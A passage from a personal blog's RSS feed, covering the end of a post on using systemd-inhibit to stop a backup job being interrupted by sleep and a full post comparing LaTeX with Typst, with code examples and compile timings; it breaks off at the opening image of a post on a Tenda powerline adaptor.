&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Starting nvidia-suspend.service - NVIDIA system suspend actions...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Conveniently, it is quite easy to add &amp;ldquo;inhibitions&amp;rdquo; that prevent the system from sleeping.
I added a &lt;code&gt;systemd-inhibit&lt;/code&gt; call on the &lt;code&gt;ExecStart=&lt;/code&gt; line of the unit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/bin/systemd-inhibit /usr/local/sbin/syncoid &lt;span style="color:#f92672"&gt;[&lt;/span&gt;-snip-&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This wasn&amp;rsquo;t quite enough, however. There is &lt;a href="https://github.com/systemd/systemd/issues/14045"
target="_blank" rel="noreferrer noopener"
&gt;a race condition&lt;/a&gt; if you call &lt;code&gt;systemd-inhibit&lt;/code&gt; while the machine is still waking from sleep:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 03:00:51 desktop systemd-inhibit&lt;span style="color:#f92672"&gt;[&lt;/span&gt;398074&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Failed to inhibit: The operation inhibition has been requested &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; is already running
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 03:00:51 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Main process exited, code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exited, status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1/FAILUR
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ve hacked around this by adding a 30s sleep in another &lt;code&gt;ExecStartPre=&lt;/code&gt; line.
I&amp;rsquo;m somewhat surprised there isn&amp;rsquo;t a built-in option to inhibit sleep while a unit is running, but I suppose this is a niche thing to do.&lt;/p&gt;</description></item><item><title>Typst</title><link>https://george.honeywood.org.uk/blog/typst/</link><pubDate>Sun, 18 Feb 2024 10:34:22 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typst/</guid><description>&lt;p&gt;Typst is pretty much what I have been looking for since I was about 15 and had to write my first long form report for school. I didn&amp;rsquo;t like using Word; I spent too much time fighting the formatting and I couldn&amp;rsquo;t easily run it on my PC at home. At the same time, I needed a bit more control over layout than what I could easily get using Markdown and pandoc.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typst/images/typst_hu_24a3ffcce42b6c23.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typst/images/typst_hu_64a71c6ba858c15f.webp 320w, https://george.honeywood.org.uk/blog/typst/images/typst_hu_bbcae167ad43137.webp 640w, https://george.honeywood.org.uk/blog/typst/images/typst_hu_81f48b5f6eeedab3.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typst/images/typst_hu_ae1f2c0fee1145f4.jpg'
width="1271"
height="835"
alt='My CV, prepared using Typst'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
An example of a document prepared using Typst, my CV
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;At the time the solution I settled upon was LaTeX. LaTeX is pretty cool. You write whatever you want, then let it produce a pretty document for you. Unfortunately, the UX is not really up to modern standards. To compile a document with a bibliography you have to run a byzantine incantation of commands, such as &lt;a href="https://tex.stackexchange.com/a/204298"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;pdflatex&lt;/code&gt; -&amp;gt; &lt;code&gt;biber&lt;/code&gt; -&amp;gt; &lt;code&gt;pdflatex&lt;/code&gt; -&amp;gt; &lt;code&gt;pdflatex&lt;/code&gt;&lt;/a&gt; (or you can use &lt;code&gt;latexmk&lt;/code&gt; which handles this stuff for you). It&amp;rsquo;s not hard to install, but it does eat a lot of space (the equivalent of about 20 electron apps!):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ du -sh /usr/share/tex&lt;span style="color:#f92672"&gt;{&lt;/span&gt;live,mf&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2.9G /usr/share/texlive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;408M /usr/share/texmf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I initially avoided some of this complexity by using ShareLaTeX &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;, a web based LaTeX editor. Whether you use a local install or an online editor, you are still stuck with the underlying language. You better pray that you don&amp;rsquo;t want to change any formatting other than the margins or something that there is not an existing package for. TeX is macro based, and feels exactly like it was released in 1978, with pretty poor tooling to match.&lt;/p&gt;
&lt;p&gt;For context, have fun trying to figure out what output &lt;a href="https://github.com/liantze/AltaCV/blob/74bc05df383c08ceacfcc6d438c1aa2b207cd1dc/altacv.cls#L328-L337"
target="_blank" rel="noreferrer noopener"
&gt;this macro&lt;/a&gt; would produce:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-latex" data-lang="latex"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\newcommand&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;\cvskill&lt;/span&gt;}[2]{&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\textcolor&lt;/span&gt;{emphasis}{&lt;span style="color:#66d9ef"&gt;\textbf&lt;/span&gt;{#1}}&lt;span style="color:#66d9ef"&gt;\hfill&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\BeginAccSupp&lt;/span&gt;{method=plain,ActualText={#2}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\foreach&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\x&lt;/span&gt; in {1,...,5}{&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\ifdimequal&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;\x&lt;/span&gt; pt - #2 pt}{0.5pt}&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; {&lt;span style="color:#66d9ef"&gt;\clipbox*&lt;/span&gt;{0pt -0.25ex {.5&lt;span style="color:#66d9ef"&gt;\width&lt;/span&gt;} {&lt;span style="color:#66d9ef"&gt;\totalheight&lt;/span&gt;}}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{accent}&lt;span style="color:#66d9ef"&gt;\cvRatingMarker&lt;/span&gt;}&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\clipbox*&lt;/span&gt;{{.5&lt;span style="color:#66d9ef"&gt;\width&lt;/span&gt;} -0.25ex {&lt;span style="color:#66d9ef"&gt;\width&lt;/span&gt;} {&lt;span style="color:#66d9ef"&gt;\totalheight&lt;/span&gt;}}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{body!30}&lt;span style="color:#66d9ef"&gt;\cvRatingMarker&lt;/span&gt;}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#66d9ef"&gt;\ifdimgreater&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;\x&lt;/span&gt; bp}{#2 bp}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{body!30}}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{accent}}&lt;span style="color:#66d9ef"&gt;\cvRatingMarker&lt;/span&gt;}&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; }&lt;span style="color:#66d9ef"&gt;\EndAccSupp&lt;/span&gt;{}&lt;span style="color:#66d9ef"&gt;\par&lt;/span&gt;&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;d think a system from the 1970s would be quick on modern computers. This is not the case. Once your document grows to have a decent number of embedded figures, everything takes a while. You can work around this, but it feels like it should just work. From scratch, compiling the &lt;a href="https://github.com/GeorgeHoneywood/final-year-project/files/11584765/george-honeywood-final-report.pdf"
target="_blank" rel="noreferrer noopener"
&gt;Final Year Project report&lt;/a&gt; I wrote for uni took a solid 23 seconds, and it isn&amp;rsquo;t even that large of a document, only about 50 pages and 13 figures. Subsequent compiles are a bit quicker, taking about 5 seconds, but that is still quite far from ideal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ time latexmk -pdf -silent main.tex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;biber main&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real 0m23.588s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ time latexmk -pdf -silent main.tex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real 0m5.509s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;LaTeX&amp;rsquo;s markup also seems quite archaic to me. Most people are used to Markdown syntax, so any similarity to that will ease the learning curve. Here is how you&amp;rsquo;d create the equivalent of a &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt; and include an image. It is fine once you get used to it, but that can take a while.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-latex" data-lang="latex"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\subsubsection&lt;/span&gt;{Sub-files}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\begin&lt;/span&gt;{figure}[ht]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\centering&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\includegraphics&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;[width=0.8\textwidth]&lt;/span&gt;{../proof-of-concepts/4-rendering-osm-data/screenshots/high-detail-at-low-zoom.png}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\caption&lt;/span&gt;{Raw tiled data from zoom 14 base tiles}&lt;span style="color:#66d9ef"&gt;\label&lt;/span&gt;{fig:rendering-tiles}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\end&lt;/span&gt;{figure}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sub-files store map data for a range of zoom levels. For example, [-snip-]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now I&amp;rsquo;ve established the motivation, I can extol the virtues of Typst. Typst is a fresh take on document preparation. It combines the good bits of LaTeX, but with much faster compiles and a smaller learning curve. Here&amp;rsquo;s how you&amp;rsquo;d do the same in Typst:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;==== Sub-files
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#figure&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;image&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;../proof-of-concepts/4-rendering-osm-data/screenshots/high-detail-at-low-zoom.png&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; caption: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Raw tiled data from zoom 14 base tiles.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;fig:rendering-tiles&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sub-files store map data for a range of zoom levels. For example, [-snip-]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This syntax makes far more sense to me, as it is pretty standard C-like language. It has all the usual constructs like functions, variables, loops, conditionals, etc. In testament to this, I decided to rewrite my CV from LaTeX to Typst. I had been using the &lt;a href="https://github.com/liantze/AltaCV"
target="_blank" rel="noreferrer noopener"
&gt;AltaCV&lt;/a&gt; class, and wanted to see how hard it would to recreate in Typst. It only took a few hours.&lt;/p&gt;
&lt;p&gt;Here is a Typst recreation of the &lt;code&gt;\cvskill&lt;/code&gt; TeX macro we saw before:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typst" data-lang="typst"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;#let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;skill&lt;/span&gt;(name, rating) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; max_rating &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; i &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;fr&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; max_rating){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; colour &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rgb&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;#c0c0c0&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// grey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; rating){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; colour &lt;span style="color:#f92672"&gt;=&lt;/span&gt; primary_colour
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;box&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;circle&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; radius: &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fill: colour
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// add spacing on all but last&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (i &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; max_rating){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;h&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;pt&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [\ ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;== Skills
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Here are some of my skills!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Go&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;TypeScript&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Git&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;#skill&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Typst&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typst/images/skills_hu_292579e6026c40a3.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typst/images/skills_hu_8f872284b4bfebdd.webp 320w, https://george.honeywood.org.uk/blog/typst/images/skills_hu_192388520ef4f87f.webp 640w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typst/images/skills_hu_618b0124cd1d8791.jpg'
width="862"
height="363"
loading="lazy"
alt='List of skills, with name and rating'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Rendered output of the snippet above, calling the &lt;code&gt;skill()&lt;/code&gt; function
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;For some context, Typst mixes content and scripting together. While writing content, you can insert script, by prepending a &lt;code&gt;#&lt;/code&gt;. While in the script context, i.e. inside the &lt;code&gt;skill()&lt;/code&gt; function above, you no longer need to prepend &lt;code&gt;#&lt;/code&gt; to functions, and can include arbitrary content inside &lt;code&gt;[&lt;/code&gt; square brackets &lt;code&gt;]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Compilation is pretty much instant. Typst uses incremental compilation, enabled by a system of constrained memoization. The lack of delay between keypress and render is appreciated, but the technical details go way over my head.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;d wholeheartedly recommend Typst to anyone who might be thinking of learning LaTeX, or wants a document preparation system that is comparable in simplicity to Markdown, but with the power to represent pretty much anything. I wish that it had been around 10 years ago for 15-year-sold me!&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;d like to learn more about Typst, &lt;a href="https://typst.app/docs/tutorial/"
target="_blank" rel="noreferrer noopener"
&gt;their tutorial&lt;/a&gt; is excellent.&lt;br&gt;
For a more detailed overview, see &lt;a href="https://laurmaedje.github.io/programmable-markup-language-for-typesetting.pdf"
target="_blank" rel="noreferrer noopener"
&gt;Laurenz Mädje&amp;rsquo;s master&amp;rsquo;s dissertation&lt;/a&gt;.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;ShareLaTeX has since been bought out by Overleaf, the other big player in the online LaTeX space. In a slightly unusual move, Overleaf then replaced their own editor with better one of ShareLaTeX.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Breaking into your Tenda PA6 Powerline adaptor</title><link>https://george.honeywood.org.uk/blog/tenda-pa6/</link><pubDate>Sun, 10 Sep 2023 11:25:58 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/tenda-pa6/</guid><description>
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_32940b8ba6f7caac.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_a5bbeabd1084504c.webp 320w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_1de1a1449910418a.webp 640w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_eb1b07cd74b0c721.webp 960w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_bda63d1c4ce0387.webp 1280w"
